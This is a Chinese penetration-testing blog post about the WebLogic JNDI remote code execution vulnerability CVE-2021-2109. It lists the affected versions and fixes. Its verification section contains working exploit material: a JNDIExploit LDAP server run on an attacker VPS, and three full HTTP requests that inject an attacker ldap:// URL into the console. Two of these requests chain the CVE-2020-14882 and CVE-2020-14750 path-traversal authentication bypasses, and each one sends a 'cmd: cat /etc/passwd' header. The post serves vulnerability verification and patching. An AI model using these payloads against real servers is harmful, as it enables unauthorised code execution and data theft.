Weblogic JNDI远程代码执行漏洞(CVE-2021-2109)


前言

持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。

0x01 漏洞描述

- Weblogic JNDI远程代码执行漏洞(CVE-2021-2109) -

Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。在Oracle官方发布的2021年1月关键补丁公告中,发布了针对WebLogic Server的严重漏洞(CVE-2021-2109),该漏洞是存在于WebLogic Console控制台中的一个远程代码执行漏洞,经过身份验证的攻击者可以直接通过JNDI远程执行代码注入,未经授权的攻击者可以配合CVE-2020-14882或者CVE-2020-14750权限绕过漏洞执行任意代码。

影响版本:

  • Oracle WebLogic 10.3.6.0.0
  • Oracle WebLogic 12.1.3.0.0
  • Oracle WebLogic 12.2.1.3.0
  • Oracle WebLogic 12.2.1.4.0
  • Oracle WebLogic 14.1.1.0.0

0x02 漏洞等级

威胁级别 高危 中危 低危

0x03 漏洞验证

在VPS服务器设置对外开放1389和8080端口,使用JNDIExploit工具启动LDAP服务,并绑定VPS的公网IP地址:

D:\JNDIExploit.v1.2>java -jar JNDIExploit.jar -i xxx.xxx.xxx.xxx(VPS公网IP)
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...

正常利用管理员帐号登录Weblogic Console控制台的情况下,通过BurpSuite抓取登录后带Cookie数据包进行JNDI注入:

GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1

没有登录Weblogic Console控制台的情况下,配合CVE-2020-14882权限绕过漏洞进行JNDI注入:

GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1

没有登录Weblogic Console控制台的情况下,配合CVE-2020-14750权限绕过漏洞进行JNDI注入:

GET /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1

注意:ldap://xxx.xxx.xxx;xxx:1389/的地址IP的第三个分隔符是;号。

0x04 漏洞修复

  1. 目前厂商已发布升级补丁以修复漏洞。
  2. 通过控制T3协议的访问来临时阻断针对这些漏洞的攻击。
  3. 临时关闭后台/console/console.portal对外访问。
  4. 禁止启用IIOP,登陆Weblogic控制台,找到启用IIOP选项,取消勾选并重启。
  5. 升级Weblogic Server运行环境的JDK版本。

文章作者: LuckySec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LuckySec !
评论
 上一篇
Weblogic Console弱口令后台getShell Weblogic Console弱口令后台getShell
Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。Weblogic Console控制台由于管理员配置疏忽没有更改默认密码,或者存在账号弱口令漏洞,攻击者可在获取到账号密码的前提下登录管理后台,通过控制台“部署”功能模块部署恶意war包,进而getShell获取服务器管理权限。
2022-11-12
下一篇 
Weblogic Console权限认证绕过漏洞(CVE-2020-14750) Weblogic Console权限认证绕过漏洞(CVE-2020-14750)
Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。Oracle官方在2020年10月发布了关键补丁更新公告,其中包括一个CVE-2020-14750为 Weblogic Console权限认证绕过的漏洞CVE-2020-14882补丁的绕过漏洞,CVSS 评分 9.8 分。CVE-2020-14882 补丁被绕过后,攻击者就可以再度绕过Console控制台的权限校验,访问原本需要登录才可以访问的资源和接口功能。尽管 CVE-2020-14883 这个后台的任意代码执行漏洞已被修复,但攻击者依然可以通过寻找利用其他合适的后台接口漏洞,实现远程代码执行,从而获取服务器权限。
2022-11-10
  目录